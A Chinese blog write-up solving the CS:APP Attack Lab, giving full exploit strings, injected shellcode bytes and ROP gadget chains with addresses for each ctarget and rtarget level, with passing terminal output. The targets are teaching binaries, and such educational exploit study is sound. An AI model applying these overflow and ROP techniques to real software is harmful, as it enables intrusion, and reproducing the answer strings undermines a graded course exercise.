注意:必须阅读Writeup,否则根本看不懂这个lab要怎么做

实验前准备

1.在终端中输入./ctarget和./rtarget结果报错



百度后得知自学的同学需要在执行文件时加上-q参数,不发送结果到评分服务器。后来发现官网已经说明了针对self-study student需要使用"-q" option

gbd里面的run也要"-q"

2.使用objdump -d反汇编ctarget

Part 1:Code Injection Attacks

Level 1

覆盖返回值,调用touch1,ctarget_phase1.txt中的值为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40" ,前40个字符用来填充getbuf的帧,最后三个字符修改返回地址为0x4017c0,getbuf的帧如下图所示。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40

Level 2

覆盖返回值,使离开getbuf后跳转至0x59b997fa处,执行如下注入的代码。getbuf的帧如下图所示。

 0:    68 ec 17 40 00           pushq  $0x4017ec
5: bf fa 97 b9 59 mov $0x59b997fa,%edi
a: c3 retq
b: 90 nop
c: 90 nop
d: 90 nop
e: 90 nop
f: 90 nop

我一开始将touch2的首地址0x4017ec注入到帧里,移动栈指针至保存了0x017ec的地方,这样虽然也能使代码跳转至touch,但无法通过notify_server,因为这是不规范的,规范的做法是使用push,将0x4017ec保存至栈中。

为什么push是规范的方法?首先要看ret指令的含义,执行ret指令时,ret指令从栈中弹出值,然后跳转到这个地址。在本题中,需要利用ret跳转至touch2,所以先将touch2的首地址压入栈中。

执行push指令后,栈的状态如下图所示:

有意思的是,指令的地址是从低处开始,逐渐增大,而栈的地址是从存储空间的最高处开始,逐渐减小。这和配套视频所讲的内容相对应。

除此之外,指令之间可以没有间隔,比如上图第一条指令和第二条指令在存储器上是连续的。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 BF FA 97 B9 59 C3 90 90 90 90 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55

Level 3

由于调用hexmatch和strncmp函数会覆盖getbuf的帧,所以需要注入的数据不能保存在geybuf的帧上,使用gdb反汇编并查看汇编代码,发现getbuf调用的Gets函数会将输入的字符保存在首地址为0x604500的地方,所以使用存储地址为0x604500的存储空间保存注入的cookie。

使用gdb工具查看hexmatch,可以发现,s保存的是cookie中每一个字符对应的十六进制asiic码,具体如表所示:

cokie 5 9 b 9 9 7 f a
cookie 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61

所以需要保存在0x604500是cookie中的字符对应的十六进制assic码,注入的代码如下

 0:   68 fa 18 40 00          pushq  $0x4018fa
5: 48 c7 c7 00 45 60 00 mov $0x604500,%rdi
c: 48 c7 07 35 39 62 39 movq $0x39623935,(%rdi)
13: 48 c7 47 04 39 37 66 movq $0x61663739,0x4(%rdi)
1a: 61
1b: c3 retq
1c: 90 nop
1d: 90 nop
1e: 90 nop
1f: 90 nop

注意代码中第三行和第四行指令中立即数的顺序,立即数中低位保存在存储地址低位的地方

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:59b997fa

Part 2:Return-Oriented Programming

和part1不同,part2设置了栈随机化和限制可执行代码区域(设置栈帧为不可执行区域)来对抗缓冲区溢出攻击

Level 2

先编译farm.c再反汇编farm.o可以得到farm.c对应的汇编代码,实际上这段代码在rtarget中,但是rtarget中东西太多,单独拿出来看更清晰。

gcc -Og -c farm.c
objdump -d farm.o

Writeup中提示如下:

  • All the gadgets you need can be found in the region of the code for rtarget demarcated by thefunctions start_farm and mid_farm.•
  • You can do this attack with just two gadgets.
  • When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploitstring will contain a combination of gadget addresses and data.

查看farm.c的汇编代码,发现一共有三个gadget,分别是

# gadget1
# 48 89 c7 -> movq %rax,%rdi, from 0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq # gadget2
# 48 89 c7 -> movq %rax,%rdi,from 0x019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq # gadget3
# 58 -> popq %rax, from 0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

gadget1和gadget2是一样的,所以两个都可以使用,我使用了gadget2。

输入字符后getbuf的帧如下图所示

代码执行过程

1.跳转至gadget3,执行 “popq %rax” 从帧中取出0x59b997fa,保存在%rax

2.跳转至gadget2,执行 “movq %rax,%rdi” 将0x59b997fa保存在%rdi

3.跳转至touch2

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level 3

在farm.c里找到这些gadget,心中已经有数了,把cookie字符随注入字符保存在存储空间,通过%rsp来确定这个字符的位置,不过想了很久还是无法具体实现。

movq %rax,%rdi

popq %rax

movq %rsp,%rax

movl %eax, %edx

movl %ecx, %esi

movl %edx, %ecx

movl %esp,%eax

后来百度看到一篇知乎文章,文章中使用了一个官方没有提到的 "add $0x37, %al" 指令,虽然他最终PASS了,但是这显然是不符合规范的。

但是这也提醒了我,自己对gadget的理解还不够透彻,一开始以为只有代码碎片才能称之为gadget,实际上完整的代码也能当作gadget,比如我接下来将会用到的add_xy,其c代码如下:

long add_xy(long x, long y)
{
return x+y;
}

add_xy的汇编代码如下:

00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq

最后输入的字符为 "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61" ,输入字符后getbuf的帧如下图所示:

注入字符对应的含义为:

可以看到,正好使用了8个gadget,而Writeup中提到官方的方法使用了8个gadget

从下往上数第一行让%rsp指向的值出栈,并保存在%rax中,同时%rsp的值加1,跳过了常数值0x2,继续执行下一条指令,第3行-第5行将0x2保存在%esi中,第6行将%rsp的值取出来(需要注意的是,这时的%rsp指向第7行,这也是常数值取0x20的原因)保存在%rdi中,第8行add_xy的参数保存在%rdi和%rsi中,之前的指令都是在为add_xy做准备,add_xy的结果指向第11行。最后将%rax的值保存在%rdi中,跳转至touch3。

root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < rtarget_phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 AD 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

csapp-attacklab(完美解决版)的更多相关文章

  1. 使用sqlyog连接到服务器数据库,实现可视化数据操作。(完美解决版。)《亲测!!!!》

      服务器中的表 select Host ,User ,Select_priv ,Insert_priv ,Update_priv ,Delete_priv ,Create_priv ,Drop_pr ...

  2. Error java 错误 不支持发行版本5 ( 完美解决版)

    问题 在Intellij idea中新建了一个Maven项目,运行时报错如下:Error : java 不支持发行版本5 解决方案 1. 原因 是因为ideal中默认配置中有几个地方的jdk版本与实际 ...

  3. 完美解决 Linux 下 Sublime Text 中文输入

    首先,我参考了好几篇文章,都是蛮不错的,先列出来: sublime-text-imfix:首先推荐这个方法,最简单,但是在我的系统上有些问题.可用这个的强烈推荐用这个 完美解决 Linux 下 Sub ...

  4. 完美解决VS2003.Net fatal error LNK1201: 写入程序数据库“.pdb”时出错

    我的开发环境是Win7旗舰64位+VS2003.Net,经常卡pdb错误,文末给出一个完美的解决方案和一个懒人补丁包.问题描述如下:在重新编译的时候,经常报错: fatal error LNK1201 ...

  5. 用 Anaconda 完美解决 Python2 和 python3 共存问题

    Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Python2 ...

  6. 利用Anaconda完美解决Python 2与python 3的共存问题

    前言 现在Python3 被越来越多的开发者所接受,同时让人尴尬的是很多遗留的老系统依旧运行在 Python2 的环境中,因此有时你不得不同时在两个版本中进行开发,调试. 如何在系统中同时共存 Pyt ...

  7. win10想说爱你不容易——安装.net3.5也是一个坑(已有完美解决方法)

    最终完美解决方法:经过多次波折,终于找到无法正常安装.net3.5的原因了,是因为已删除的用户还有注册表残留导致的,而且这个问题还会影响一个win10更新的安装,导致每天更新失败,撤销更新... 详见 ...

  8. 完美解决HALCON C#编程目标平台冲突问题

    完美解决HALCON C#编程目标平台冲突问题   楼主# 更多发布于:2016-11-23 10:06     背景: 目标机器工控机使用11.0.1 32位Halcon 原因你懂的.开发环境Win ...

  9. PNG24在ie6下的完美解决方法!(DD_belatedPNG)

    原网址:http://www.zjgsq.com/1629.html 之前写过一篇<js+css滤镜设置解决PNG24在IE6下显示问题> 解决方法不是很完美,使用起来也比较麻烦. DD_ ...

  10. 完美解决windows10磁盘占用100%并出现卡顿、假死无反应

    完美解决windows10磁盘占用100%并出现卡顿.假死无反应 想必大家也跟我一样,自从用win10系统以后经常会出现这种情况:磁盘突然占用100%然后开始出现假死现象,电脑卡住,点击任何软件没反应 ...

随机推荐

  1. HTTP与WebSocket/WebDAV

    WebSocket WebDAV

  2. #欧拉序,线段树#洛谷 6845 [CEOI2019] Dynamic Diameter

    题目 动态修改边权,强制在线询问树的直径. 分析 设 \(dis[x]\) 表示 \(x\) 到1号点的距离. 那么树的直径就可以表示成 \(dis[x]+dis[y]-2*dis[lca]\) 只需 ...

  3. 使用脚本整合指定文件/文件夹,执行定制化 ESLint 命令

    背景 最近面对一个庞大的项目,但是只需要修改某个模块,每次都手搓命令太麻烦了,于是就想着能不能写个脚本来辅助处理这些事情. 解决方案 定制化一键 ESLint,执行文件下载地址: https://gi ...

  4. 区块链从入门到放弃系列教程-涵盖密码学,超级账本,以太坊,Libra,比特币等持续更新

    目录 简介 什么是区块链 区块链不是什么 区块链的基础:密码学 区块链的基础:分布式系统和共识机制 超级账本Hyperledger 以太坊 Libra 比特币 总结 简介 区块链是一种防篡改的共享数字 ...

  5. Qt For OpenHarmony

     本文转载自 OpenHarmony TSC 官方微信公众号<峰会回顾第29期 | Qt For OpenHarmony > 演讲嘉宾 | 蔡万苍 回顾整理 | 廖   涛 排版校对 |  ...

  6. C 语言数组教程:定义、访问、修改、循环遍历及多维数组解析

    C 数组 数组用于将多个值存储在单个变量中,而不是为每个值声明单独的变量. 要创建数组,请定义数据类型(例如 int)并指定数组名称,后面跟着方括号 []. 要将值插入其中,请使用逗号分隔的列表,并在 ...

  7. Python 集合(Sets)2

    访问项 您无法通过引用索引或键来访问集合中的项.但是,您可以使用for循环遍历集合项,或者使用in关键字检查集合中是否存在指定的值. 示例,遍历集合并打印值: thisset = {"app ...

  8. SQline安装

    SQLite 安装 SQLite 的一个重要的特性是零配置的,这意味着不需要复杂的安装或管理.本章将讲解 Windows.Linux 和 Mac OS X 上的安装设置. 在 Windows 上安装 ...

  9. 手把手教你使用ArkTS中的canvas实现签名板功能

      一.屏幕旋转 ● 实现签名板的第一个功能就是旋转屏幕.旋转屏幕在各种框架中都有不一样的方式,比如:在H5端,我们一般是使用CSS中的transform属性中的rotate()方法来强制将网页横屏, ...

  10. 打造美团外卖新体验,HarmonyOS SDK 持续赋能开发者共赢鸿蒙生态

    从今年 8 月起,所有升级到 HarmonyOS 4 的手机用户在美团外卖下单后,可通过屏幕上的一个"小窗口",随时追踪到"出餐.取餐.送达"等订单状态.这个能 ...